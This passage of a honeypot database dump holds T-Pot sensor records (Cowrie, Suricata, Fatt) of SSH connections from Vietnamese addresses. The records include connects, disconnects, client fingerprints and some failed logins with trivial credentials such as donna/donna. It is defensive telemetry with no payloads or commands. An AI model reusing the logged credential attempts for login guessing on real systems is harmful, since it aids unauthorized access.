"curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 50834, "dest_port": 22, "timestamp": "2021-09-20T11:07:41.884323", "@timestamp": "2021-09-20T11:07:41.884Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
23594	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:07:41.545553+03	2021-09-20 14:15:07.7065+03	{"_id": "WAbjAnwBvYTbRNuE5Q7z", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "c4d761de32d2", "@version": "1", "duration": 2.772892713546753, "timestamp": "2021-09-20T11:07:41.545553Z", "@timestamp": "2021-09-20T11:07:41.545Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
23595	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:07:41.841167+03	2021-09-20 14:15:07.7085+03	{"_id": "WQbjAnwBvYTbRNuE5Q7z", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.login.failed", "message": "login attempt [donna/donna] failed", "session": "8b38f6e5b96d", "@version": "1", "password": "donna", "username": "donna", "timestamp": "2021-09-20T11:07:41.841167Z", "@timestamp": "2021-09-20T11:07:41.841Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
23596	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:07:41.968492+03	2021-09-20 14:15:07.71047+03	{"_id": "WgbjAnwBvYTbRNuE5Q7z", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "9c6d5e401cea", "@version": "1", "duration": 2.6224989891052246, "timestamp": "2021-09-20T11:07:41.968492Z", "@timestamp": "2021-09-20T11:07:41.968Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
23597	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:07:42.171256+03	2021-09-20 14:15:07.71147+03	{"_id": "WwbjAnwBvYTbRNuE5Q7z", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "871935357b3b", "@version": "1", "duration": 2.4049253463745117, "timestamp": "2021-09-20T11:07:42.171256Z", "@timestamp": "2021-09-20T11:07:42.171Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
23598	116.98.160.162	109.199.241.180	Suricata	2021-09-20 14:07:42.386324+03	2021-09-20 14:15:07.7135+03	{"_id": "XAbjAnwBvYTbRNuE6A5Z", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "116.98.160.162", "dest_ip": "192.168.20.116", "flow_id": 1761632031987491, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_client_banner"]}, "src_port": 40388, "dest_port": 22, "timestamp": "2021-09-20T11:07:42.386324Z", "@timestamp": "2021-09-20T11:07:42.386Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
23599	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:07:42.386462+03	2021-09-20 14:15:07.7145+03	{"_id": "ZAbjAnwBvYTbRNuE6Q7W", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "116.98.160.162", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 40388, "timestamp": "2021-09-20T11:07:42.386462", "@timestamp": "2021-09-20T11:07:42.386Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
23600	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:07:42.72922+03	2021-09-20 14:15:07.7155+03	{"_id": "ZQbjAnwBvYTbRNuE6Q7W", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "27.69.246.93", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 44924, "timestamp": "2021-09-20T11:07:42.729220", "@timestamp": "2021-09-20T11:07:42.729Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
23601	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:07:42.360548+03	2021-09-20 14:15:07.716472+03	{"_id": "ZgbjAnwBvYTbRNuE6Q7W", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "72c411968063", "@version": "1", "duration": 2.772273063659668, "timestamp": "2021-09-20T11:07:42.360548Z", "@timestamp": "2021-09-20T11:07:42.360Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
23602	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:07:42.453182+03	2021-09-20 14:15:07.718504+03	{"_id": "aQbjAnwBvYTbRNuE6Q7c", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 27.69.246.93:44924 (192.168.176.2:22) [session: 5b1f43bb249e]", "session": "5b1f43bb249e", "@version": "1", "protocol": "ssh", "src_port": 44924, "dest_port": 22, "timestamp": "2021-09-20T11:07:42.453182Z", "@timestamp": "2021-09-20T11:07:42.453Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
23603	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:07:43.220268+03	2021-09-20 14:15:07.719503+03	{"_id": "agbjAnwBvYTbRNuE6Q7c", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 116.110.220.49:37702 (192.168.176.2:22) [session: ea26a28b5892]", "session": "ea26a28b5892", "@version": "1", "protocol": "ssh", "src_port": 37702, "dest_port": 22, "timestamp": "2021-09-20T11:07:43.220268Z", "@timestamp": "2021-09-20T11:07:43.220Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
23604	27.69.246.93	109.199.241.180	Suricata	2021-09-20 14:07:38.487038+03	2021-09-20 14:15:07.720506+03	{"_id": "fgbjAnwBvYTbRNuE2A20", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "27.69.246.93", "dest_ip": "192.168.20.116", "flow_id": 526500369084125, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 44676, "dest_port": 22, "timestamp": "2021-09-20T11:07:38.487038Z", "@timestamp": "2021-09-20T11:07:38.487Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
23605	27.69.246.93	109.199.241.180	Suricata	2021-09-20 14:07:38.886218+03	2021-09-20 14:15:07.722518+03	{"_id": "fQbjAnwBvYTbRNuE2A20", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "27.69.246.93", "dest_ip": "192.168.20.116", "flow_id": 1741492930147956, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 49232, "dest_port": 22, "timestamp": "2021-09-20T11:07:38.886218Z", "@timestamp": "2021-09-20T11:07:38.886Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
23606	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:07:38.606521+03	2021-09-20 14:15:07.7235+03	{"_id": "fwbjAnwBvYTbRNuE2g00", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 27.69.246.93:49232 (192.168.176.2:22) [session: 70265ce44949]", "session": "70265ce44949", "@version": "1", "protocol": "ssh", "src_port": 49232, "dest_port": 22, "timestamp": "2021-09-20T11:07:38.606521Z", "@timestamp": "2021-09-20T11:07:38.606Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
23607	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:07:38.21172+03	2021-09-20 14:15:07.7245+03	{"_id": "jgbjAnwBvYTbRNuE2g00", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "27.69.246.93", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 44676, "timestamp": "2021-09-20T11:07:38.211720", "@timestamp": "2021-09-20T11:07:38.211Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
23608	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:07:38.422035+03	2021-09-20 14:15:07.7255+03	{"_id": "hgbjAnwBvYTbRNuE2g00", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.login.failed", "message": "login attempt [blank/blank] failed", "session": "83bf82c52ce8", "@version": "1", "password": "blank", "username": "blank", "timestamp": "2021-09-20T11:07:38.422035Z", "@timestamp": "2021-09-20T11:07:38.422Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
23610	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:07:38.607613+03	2021-09-20 14:15:07.728471+03	{"_id": "iAbjAnwBvYTbRNuE2g00", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "70265ce44949", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:07:38.607613Z", "@timestamp": "2021-09-20T11:07:38.607Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
23611	116.105.211.46	109.199.241.180	Cowrie	2021-09-20 14:07:38.535905+03	2021-09-20 14:15:07.729493+03	{"_id": "oQbjAnwBvYTbRNuE2g07", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.105.211.46", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.105.211.46", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 116.105.211.46:54558 (192.168.176.2:22) [session: 041ccc791988]", "session": "041ccc791988", "@version": "1", "protocol": "ssh", "src_port": 54558, "dest_port": 22, "timestamp": "2021-09-20T11:07:38.535905Z", "@timestamp": "2021-09-20T11:07:38.535Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
23612	27.69.246.93	109.199.241.180	Fatt	2021-09-20 14:07:38.51929+03	2021-09-20 14:15:07.730471+03	{"_id": "mwbjAnwBvYTbRNuE2g03", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "src_ip": "27.69.246.93", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": 